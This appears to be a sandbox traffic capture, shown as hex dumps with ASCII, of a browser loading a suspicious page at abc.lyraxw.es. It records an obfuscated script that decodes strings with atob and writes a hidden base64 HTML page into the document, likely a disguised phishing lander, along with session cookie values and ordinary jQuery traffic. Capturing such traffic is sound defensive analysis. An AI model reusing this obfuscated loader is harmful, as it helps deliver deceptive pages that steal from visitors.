XSRF-TOKEN=eyJpdiI6InNpL2NUSVVnT0hPRzMxTm1MRVY1akE9PSIsInZhbHVlIjoieTUzMnVnOUxaVHZWcUtsOHF4dHhnSTMwS3RMQXB4bU5IWDBwbm5XTjdvaUlHeDg4Yy9aZUcrZWt0dWd0ZFFnbjByM0hkZWM1OFFMWEw0QzFpVU5CYzBJeGd4VU0vRkhsY0hQVkN1SGlJUStLbE9UK0JRL0pCTWFKV1IvZVFqY2ciLCJtYWMiOiJjMTMwNDc4ODE3YjI4MTdkOTBiNjc1M2FjOTE2MGFmN2FjNzQzZmNjNmQ2NzBjNzlhOWNiYWUwZTg4MzA1MzlkIiwidGFnIjoiIn0%3D; SameSite=None; Secure; Path=/; Max-Age=7200; Expires=Tue, 18 Mar 2025 00:11:35 GMT
2025-03-17 22:11:35 UTC	528	IN	Data Raw: 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 6c 61 72 61 76 65 6c 5f 73 65 73 73 69 6f 6e 3d 65 79 4a 70 64 69 49 36 49 6a 64 68 63 46 55 30 51 6b 52 71 52 69 38 76 54 6a 52 69 4e 33 42 46 55 56 6f 72 52 31 45 39 50 53 49 73 49 6e 5a 68 62 48 56 6c 49 6a 6f 69 56 57 6c 33 54 58 6c 6b 54 43 74 69 64 6b 52 74 63 6b 55 76 57 57 70 52 59 31 70 4c 62 55 74 59 55 44 64 4c 52 46 64 35 55 47 35 30 55 33 5a 74 52 48 56 4a 64 58 45 32 56 6b 68 4b 55 54 45 30 4b 32 39 46 61 47 35 54 4d 7a 64 33 59 6d 6c 61 4e 30 46 6e 59 57 34 34 54 7a 6c 47 61 47 74 6c 65 69 74 73 62 46 68 55 4d 33 51 76 5a 6b 6c 47 55 6c 68 4d 54 47 4e 4a 64 55 5a 78 64 31 42 45 54 79 73 79 4e 6a 4d 79 4d 33 56 59 65 47 56 4a 54 6a 4e 61 53 32 4e 6d 53 58 70 73 52 48 6c 4c 51 57 67 30 55 30 6c 61 64 45 77 Data Ascii: Set-Cookie: laravel_session=eyJpdiI6IjdhcFU0QkRqRi8vTjRiN3BFUVorR1E9PSIsInZhbHVlIjoiVWl3TXlkTCtidkRtckUvWWpRY1pLbUtYUDdLRFd5UG50U3ZtRHVJdXE2VkhKUTE0K29FaG5TMzd3YmlaN0FnYW44TzlGaGtleitsbFhUM3QvZklGUlhMTGNJdUZxd1BETysyNjMyM3VYeGVJTjNaS2NmSXpsRHlLQWg0U0ladEw
2025-03-17 22:11:35 UTC	282	IN	Data Raw: 31 31 33 0d 0a 3c 73 63 72 69 70 74 3e 0a 41 44 68 61 4f 4a 50 48 68 4d 20 3d 20 61 74 6f 62 28 22 61 48 52 30 63 48 4d 36 4c 79 39 68 59 6d 4d 75 62 48 6c 79 59 58 68 33 4c 6d 56 7a 4c 30 68 59 4d 58 4a 55 5a 79 38 3d 22 29 3b 0a 72 4d 45 6f 4a 57 72 4d 49 6a 20 3d 20 61 74 6f 62 28 22 62 6d 39 74 59 58 52 6a 61 41 3d 3d 22 29 3b 0a 68 50 4b 54 44 47 79 72 64 59 20 3d 20 61 74 6f 62 28 22 64 33 4a 70 64 47 55 3d 22 29 3b 0a 69 66 28 41 44 68 61 4f 4a 50 48 68 4d 20 3d 3d 20 72 4d 45 6f 4a 57 72 4d 49 6a 29 7b 0a 64 6f 63 75 6d 65 6e 74 5b 68 50 4b 54 44 47 79 72 64 59 5d 28 64 65 63 6f 64 65 55 52 49 43 6f 6d 70 6f 6e 65 6e 74 28 65 73 63 61 70 65 28 61 74 6f 62 28 27 50 43 46 45 54 30 4e 55 57 56 42 46 49 47 68 30 62 57 77 2b 43 6a 78 6f 64 47 31 73 50 Data Ascii: 113<script>ADhaOJPHhM = atob("aHR0cHM6Ly9hYmMubHlyYXh3LmVzL0hYMXJUZy8=");rMEoJWrMIj = atob("bm9tYXRjaA==");hPKTDGyrdY = atob("d3JpdGU=");if(ADhaOJPHhM == rMEoJWrMIj){document[hPKTDGyrdY](decodeURIComponent(escape(atob('PCFET0NUWVBFIGh0bWw+CjxodG1sP
2025-03-17 22:11:35 UTC	1369	IN	Data Raw: 37 66 62 62 0d 0a 4a 6c 62 44 30 69 61 57 4e 76 62 69 49 67 61 48 4a 6c 5a 6a 30 69 61 48 52 30 63 48 4d 36 4c 79 39 6b 5a 58 5a 6c 62 47 39 77 5a 58 4a 7a 4c 6d 4e 73 62 33 56 6b 5a 6d 78 68 63 6d 55 75 59 32 39 74 4c 32 5a 68 64 6d 6c 6a 62 32 34 75 63 47 35 6e 49 69 42 30 65 58 42 6c 50 53 4a 70 62 57 46 6e 5a 53 39 34 4c 57 6c 6a 62 32 34 69 50 67 6f 67 49 43 41 67 50 47 31 6c 64 47 45 67 61 48 52 30 63 43 31 6c 63 58 56 70 64 6a 30 69 57 43 31 56 51 53 31 44 62 32 31 77 59 58 52 70 59 6d 78 6c 49 69 42 6a 62 32 35 30 5a 57 35 30 50 53 4a 4a 52 54 31 46 5a 47 64 6c 4c 47 4e 6f 63 6d 39 74 5a 54 30 78 49 6a 34 4b 49 43 41 67 49 44 78 74 5a 58 52 68 49 47 35 68 62 57 55 39 49 6e 4a 76 59 6d 39 30 63 79 49 67 59 32 39 75 64 47 56 75 64 44 30 69 62 6d 39 Data Ascii: 7fbbJlbD0iaWNvbiIgaHJlZj0iaHR0cHM6Ly9kZXZlbG9wZXJzLmNsb3VkZmxhcmUuY29tL2Zhdmljb24ucG5nIiB0eXBlPSJpbWFnZS94LWljb24iPgogICAgPG1ldGEgaHR0cC1lcXVpdj0iWC1VQS1Db21wYXRpYmxlIiBjb250ZW50PSJJRT1FZGdlLGNocm9tZT0xIj4KICAgIDxtZXRhIG5hbWU9InJvYm90cyIgY29udGVudD0ibm9
2025-03-17 22:11:35 UTC	1369	IN	Data Raw: 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 Data Ascii: 4Wk44Wk44Wk776g776g44Wk44Wk44Wk776g44Wk44Wk44Wk776g44Wk44Wk776g776g44Wk776g44Wk776g44Wk44Wk776g776g776g44Wk776g776g44Wk44Wk776g776g44Wk776g776g776g44Wk44Wk44Wk776g776g44Wk776g776g44Wk44Wk776g44Wk776g776g44Wk776g44Wk44Wk44Wk776g44Wk44Wk776g776g44Wk44Wk776g
2025-03-17 22:11:35 UTC	1369	IN	Data Raw: 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 34 Data Ascii: 6g44Wk44Wk44Wk44Wk44Wk776g44Wk44Wk44Wk776g776g776g776g776g44Wk44Wk776g44Wk776g776g776g776g44Wk44Wk776g776g776g776g44Wk776g44Wk44Wk776g44Wk44Wk44Wk776g776g44Wk44Wk44Wk776g44Wk776g776g776g44Wk44Wk776g44Wk44Wk44Wk44Wk776g44Wk44Wk776g44Wk44Wk776g44Wk776g776g4
2025-03-17 22:11:35 UTC	1369	IN	Data Raw: 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 Data Ascii: g44Wk44Wk44Wk776g44Wk776g44Wk776g44Wk44Wk44Wk776g776g44Wk776g776g44Wk44Wk44Wk776g776g776g776g776g776g44Wk776g776g776g44Wk776g776g776g44Wk776g44Wk776g776g44Wk776g776g44Wk776g44Wk776g776g44Wk776g776g44Wk776g776g776g776g776g776g44Wk44Wk44Wk44Wk776g44Wk44Wk77
2025-03-17 22:11:35 UTC	1369	IN	Data Raw: 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 Data Ascii: 776g776g44Wk44Wk776g44Wk44Wk776g776g776g44Wk44Wk776g776g776g776g44Wk776g44Wk44Wk776g44Wk44Wk44Wk776g776g44Wk44Wk776g44Wk776g44Wk44Wk776g776g44Wk776g776g776g44Wk776g776g776g44Wk44Wk44Wk776g44Wk44Wk776g776g776g776g44Wk776g44Wk776g776g44Wk44Wk44Wk44Wk44Wk776
2025-03-17 22:11:35 UTC	1369	IN	Data Raw: 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 Data Ascii: 4Wk44Wk776g776g776g44Wk776g776g776g44Wk776g776g776g44Wk776g44Wk44Wk776g776g776g776g44Wk776g776g776g776g776g776g44Wk44Wk776g776g44Wk44Wk776g776g44Wk44Wk44Wk776g44Wk776g44Wk776g44Wk44Wk776g44Wk44Wk44Wk776g776g44Wk44Wk776g776g776g44Wk44Wk776g44Wk44Wk44Wk776g
2025-03-17 22:11:35 UTC	1369	IN	Data Raw: 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 34 Data Ascii: 6g776g44Wk44Wk776g776g44Wk44Wk776g776g44Wk776g44Wk776g44Wk44Wk44Wk776g44Wk776g44Wk776g776g44Wk776g44Wk776g776g776g776g44Wk44Wk776g776g44Wk776g44Wk776g44Wk44Wk44Wk776g44Wk44Wk776g776g44Wk44Wk776g776g44Wk776g44Wk776g44Wk44Wk776g44Wk44Wk44Wk776g776g44Wk44Wk4
2025-03-17 22:11:35 UTC	1369	IN	Data Raw: 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 Data Ascii: g44Wk776g776g776g776g776g776g776g44Wk776g776g776g776g776g776g776g44Wk776g776g776g776g776g776g776g44Wk776g776g776g776g776g776g776g44Wk776g776g776g776g776g776g776g44Wk776g776g776g776g776g776g776g44Wk776g776g776g776g776g776g776g44Wk776g776g776g776g776g776g77

Timestamp	Bytes transferred	Direction	Data
2025-03-17 22:11:35 UTC	513	OUT	POST /report/v4?s=VvPCnh2rp8aGjM9swHgIa1LAYJwV7Oal7Uee%2B7q2N6kdISS2vaEp8Po4%2FAfUvJsBXa94ZrtyvXGCNaKo%2FBeTFnYamSMvoag65vZtY3kbEJd4Gp9MwyxzIPNdVvx0rRCkXl2Z HTTP/1.1 Host: a.nel.cloudflare.com Connection: keep-alive Content-Length: 458 Content-Type: application/reports+json Origin: https://abc.lyraxw.es User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-17 22:11:35 UTC	458	OUT	Data Raw: 5b 7b 22 61 67 65 22 3a 30 2c 22 62 6f 64 79 22 3a 7b 22 65 6c 61 70 73 65 64 5f 74 69 6d 65 22 3a 31 32 32 34 2c 22 6d 65 74 68 6f 64 22 3a 22 47 45 54 22 2c 22 70 68 61 73 65 22 3a 22 61 70 70 6c 69 63 61 74 69 6f 6e 22 2c 22 70 72 6f 74 6f 63 6f 6c 22 3a 22 68 74 74 70 2f 31 2e 31 22 2c 22 72 65 66 65 72 72 65 72 22 3a 22 68 74 74 70 73 3a 2f 2f 70 72 6f 76 69 64 65 6e 74 66 75 6e 64 71 75 65 72 79 2e 69 6e 2f 22 2c 22 73 61 6d 70 6c 69 6e 67 5f 66 72 61 63 74 69 6f 6e 22 3a 31 2e 30 2c 22 73 65 72 76 65 72 5f 69 70 22 3a 22 31 30 34 2e 32 31 2e 38 30 2e 31 22 2c 22 73 74 61 74 75 73 5f 63 6f 64 65 22 3a 32 30 30 2c 22 74 79 70 65 22 3a 22 68 74 74 70 2e 72 65 73 70 6f 6e 73 65 2e 69 6e 76 61 6c 69 64 2e 69 6e 63 6f 6d 70 6c 65 74 65 5f 63 68 75 6e 6b Data Ascii: [{"age":0,"body":{"elapsed_time":1224,"method":"GET","phase":"application","protocol":"http/1.1","referrer":"https://providentfundquery.in/","sampling_fraction":1.0,"server_ip":"104.21.80.1","status_code":200,"type":"http.response.invalid.incomplete_chunk
2025-03-17 22:11:35 UTC	214	IN	HTTP/1.1 200 OK Content-Length: 0 access-control-allow-origin: * vary: Origin date: Mon, 17 Mar 2025 22:11:35 GMT Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Timestamp	Bytes transferred	Direction	Data
2025-03-17 22:11:36 UTC	660	OUT	GET /jquery-3.6.0.min.js HTTP/1.1 Host: code.jquery.com Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning" sec-ch-ua-mobile: ?0 Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Sec-Fetch-Storage-Access: active Referer: https://abc.lyraxw.es/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-17 22:11:36 UTC	612	IN	HTTP/1.1 200 OK Connection: close Content-Length: 89501 Server: nginx Content-Type: application/javascript; charset=utf-8 Last-Modified: Fri, 18 Oct 1991 12:00:00 GMT ETag: "28feccc0-15d9d" Cache-Control: public, max-age=31536000, stale-while-revalidate=604800 Access-Control-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin Via: 1.1 varnish, 1.1 varnish Accept-Ranges: bytes Age: 918479 Date: Mon, 17 Mar 2025 22:11:36 GMT X-Served-By: cache-lga21931-LGA, cache-ewr-kewr1740022-EWR X-Cache: HIT, HIT X-Cache-Hits: 2774, 0 X-Timer: S1742249497.581066,VS0,VE1 Vary: Accept-Encoding
2025-03-17 22:11:36 UTC	1378	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 76 33 2e 36 2e 30 20 7c 20 28 63 29 20 4f 70 65 6e 4a 53 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 6f 74 68 65 72 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 20 7c 20 6a 71 75 65 72 79 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 65 2e 64 6f 63 75 6d 65 6e 74 3f 74 28 65 2c 21 30 29 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 69 66 28 21 65 2e 64 6f 63 75 6d 65 6e 74 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 22 6a 51 75 Data Ascii: /! jQuery v3.6.0 \| (c) OpenJS Foundation and other contributors \| jquery.org/license /!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQu
2025-03-17 22:11:36 UTC	1378	IN	Data Raw: 7d 2c 67 65 74 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 6e 75 6c 6c 3d 3d 65 3f 73 2e 63 61 6c 6c 28 74 68 69 73 29 3a 65 3c 30 3f 74 68 69 73 5b 65 2b 74 68 69 73 2e 6c 65 6e 67 74 68 5d 3a 74 68 69 73 5b 65 5d 7d 2c 70 75 73 68 53 74 61 63 6b 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 53 2e 6d 65 72 67 65 28 74 68 69 73 2e 63 6f 6e 73 74 72 75 63 74 6f 72 28 29 2c 65 29 3b 72 65 74 75 72 6e 20 74 2e 70 72 65 76 4f 62 6a 65 63 74 3d 74 68 69 73 2c 74 7d 2c 65 61 63 68 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 53 2e 65 61 63 68 28 74 68 69 73 2c 65 29 7d 2c 6d 61 70 3a 66 75 6e 63 74 69 6f 6e 28 6e 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 70 75 73 68 53 74 61 63 6b 28 53 2e 6d 61 70 28 74 68 69 73 2c 66 Data Ascii: },get:function(e){return null==e?s.call(this):e<0?this[e+this.length]:this[e]},pushStack:function(e){var t=S.merge(this.constructor(),e);return t.prevObject=this,t},each:function(e){return S.each(this,e)},map:function(n){return this.pushStack(S.map(this,f
2025-03-17 22:11:36 UTC	1378	IN	Data Raw: 6f 6e 28 65 29 7b 76 61 72 20 74 2c 6e 3b 72 65 74 75 72 6e 21 28 21 65 7c 7c 22 5b 6f 62 6a 65 63 74 20 4f 62 6a 65 63 74 5d 22 21 3d 3d 6f 2e 63 61 6c 6c 28 65 29 29 26 26 28 21 28 74 3d 72 28 65 29 29 7c 7c 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 28 6e 3d 76 2e 63 61 6c 6c 28 74 2c 22 63 6f 6e 73 74 72 75 63 74 6f 72 22 29 26 26 74 2e 63 6f 6e 73 74 72 75 63 74 6f 72 29 26 26 61 2e 63 61 6c 6c 28 6e 29 3d 3d 3d 6c 29 7d 2c 69 73 45 6d 70 74 79 4f 62 6a 65 63 74 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3b 66 6f 72 28 74 20 69 6e 20 65 29 72 65 74 75 72 6e 21 31 3b 72 65 74 75 72 6e 21 30 7d 2c 67 6c 6f 62 61 6c 45 76 61 6c 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 29 7b 62 28 65 2c 7b 6e 6f 6e 63 65 3a 74 26 26 74 2e 6e 6f Data Ascii: on(e){var t,n;return!(!e\|\|"[object Object]"!==o.call(e))&&(!(t=r(e))\|\|"function"==typeof(n=v.call(t,"constructor")&&t.constructor)&&a.call(n)===l)},isEmptyObject:function(e){var t;for(t in e)return!1;return!0},globalEval:function(e,t,n){b(e,{nonce:t&&t.no
2025-03-17 22:11:36 UTC	1378	IN	Data Raw: 5d 2c 71 3d 74 2e 70 6f 70 2c 4c 3d 74 2e 70 75 73 68 2c 48 3d 74 2e 70 75 73 68 2c 4f 3d 74 2e 73 6c 69 63 65 2c 50 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 66 6f 72 28 76 61 72 20 6e 3d 30 2c 72 3d 65 2e 6c 65 6e 67 74 68 3b 6e 3c 72 3b 6e 2b 2b 29 69 66 28 65 5b 6e 5d 3d 3d 3d 74 29 72 65 74 75 72 6e 20 6e 3b 72 65 74 75 72 6e 2d 31 7d 2c 52 3d 22 63 68 65 63 6b 65 64 7c 73 65 6c 65 63 74 65 64 7c 61 73 79 6e 63 7c 61 75 74 6f 66 6f 63 75 73 7c 61 75 74 6f 70 6c 61 79 7c 63 6f 6e 74 72 6f 6c 73 7c 64 65 66 65 72 7c 64 69 73 61 62 6c 65 64 7c 68 69 64 64 65 6e 7c 69 73 6d 61 70 7c 6c 6f 6f 70 7c 6d 75 6c 74 69 70 6c 65 7c 6f 70 65 6e 7c 72 65 61 64 6f 6e 6c 79 7c 72 65 71 75 69 72 65 64 7c 73 63 6f 70 65 64 22 2c 4d 3d 22 5b 5c 5c 78 32 30 5c 5c 74 Data Ascii: ],q=t.pop,L=t.push,H=t.push,O=t.slice,P=function(e,t){for(var n=0,r=e.length;n<r;n++)if(e[n]===t)return n;return-1},R="checked\|selected\|async\|autofocus\|autoplay\|controls\|defer\|disabled\|hidden\|ismap\|loop\|multiple\|open\|readonly\|required\|scoped",M="[\\x20\\t
2025-03-17 22:11:36 UTC	1378	IN	Data Raw: 2c 65 65 3d 2f 5b 2b 7e 5d 2f 2c 74 65 3d 6e 65 77 20 52 65 67 45 78 70 28 22 5c 5c 5c 5c 5b 5c 5c 64 61 2d 66 41 2d 46 5d 7b 31 2c 36 7d 22 2b 4d 2b 22 3f 7c 5c 5c 5c 5c 28 5b 5e 5c 5c 72 5c 5c 6e 5c 5c 66 5d 29 22 2c 22 67 22 29 2c 6e 65 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 76 61 72 20 6e 3d 22 30 78 22 2b 65 2e 73 6c 69 63 65 28 31 29 2d 36 35 35 33 36 3b 72 65 74 75 72 6e 20 74 7c 7c 28 6e 3c 30 3f 53 74 72 69 6e 67 2e 66 72 6f 6d 43 68 61 72 43 6f 64 65 28 6e 2b 36 35 35 33 36 29 3a 53 74 72 69 6e 67 2e 66 72 6f 6d 43 68 61 72 43 6f 64 65 28 6e 3e 3e 31 30 7c 35 35 32 39 36 2c 31 30 32 33 26 6e 7c 35 36 33 32 30 29 29 7d 2c 72 65 3d 2f 28 5b 5c 30 2d 5c 78 31 66 5c 78 37 66 5d 7c 5e 2d 3f 5c 64 29 7c 5e 2d 24 7c 5b 5e 5c 30 2d 5c 78 31 66 5c Data Ascii: ,ee=/[+~]/,te=new RegExp("\\\\[\\da-fA-F]{1,6}"+M+"?\|\\\\([^\\r\\n\\f])","g"),ne=function(e,t){var n="0x"+e.slice(1)-65536;return t\|\|(n<0?String.fromCharCode(n+65536):String.fromCharCode(n>>10\|55296,1023&n\|56320))},re=/([\0-\x1f\x7f]\|^-?\d)\|^-$\|[^\0-\x1f\
2025-03-17 22:11:36 UTC	1378	IN	Data Raw: 29 29 7b 28 66 3d 65 65 2e 74 65 73 74 28 74 29 26 26 79 65 28 65 2e 70 61 72 65 6e 74 4e 6f 64 65 29 7c 7c 65 29 3d 3d 3d 65 26 26 64 2e 73 63 6f 70 65 7c 7c 28 28 73 3d 65 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 22 69 64 22 29 29 3f 73 3d 73 2e 72 65 70 6c 61 63 65 28 72 65 2c 69 65 29 3a 65 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 69 64 22 2c 73 3d 53 29 29 2c 6f 3d 28 6c 3d 68 28 74 29 29 2e 6c 65 6e 67 74 68 3b 77 68 69 6c 65 28 6f 2d 2d 29 6c 5b 6f 5d 3d 28 73 3f 22 23 22 2b 73 3a 22 3a 73 63 6f 70 65 22 29 2b 22 20 22 2b 78 65 28 6c 5b 6f 5d 29 3b 63 3d 6c 2e 6a 6f 69 6e 28 22 2c 22 29 7d 74 72 79 7b 72 65 74 75 72 6e 20 48 2e 61 70 70 6c 79 28 6e 2c 66 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 63 29 29 2c 6e 7d 63 61 74 63 68 28 Data Ascii: )){(f=ee.test(t)&&ye(e.parentNode)\|\|e)===e&&d.scope\|\|((s=e.getAttribute("id"))?s=s.replace(re,ie):e.setAttribute("id",s=S)),o=(l=h(t)).length;while(o--)l[o]=(s?"#"+s:":scope")+" "+xe(l[o]);c=l.join(",")}try{return H.apply(n,f.querySelectorAll(c)),n}catch(
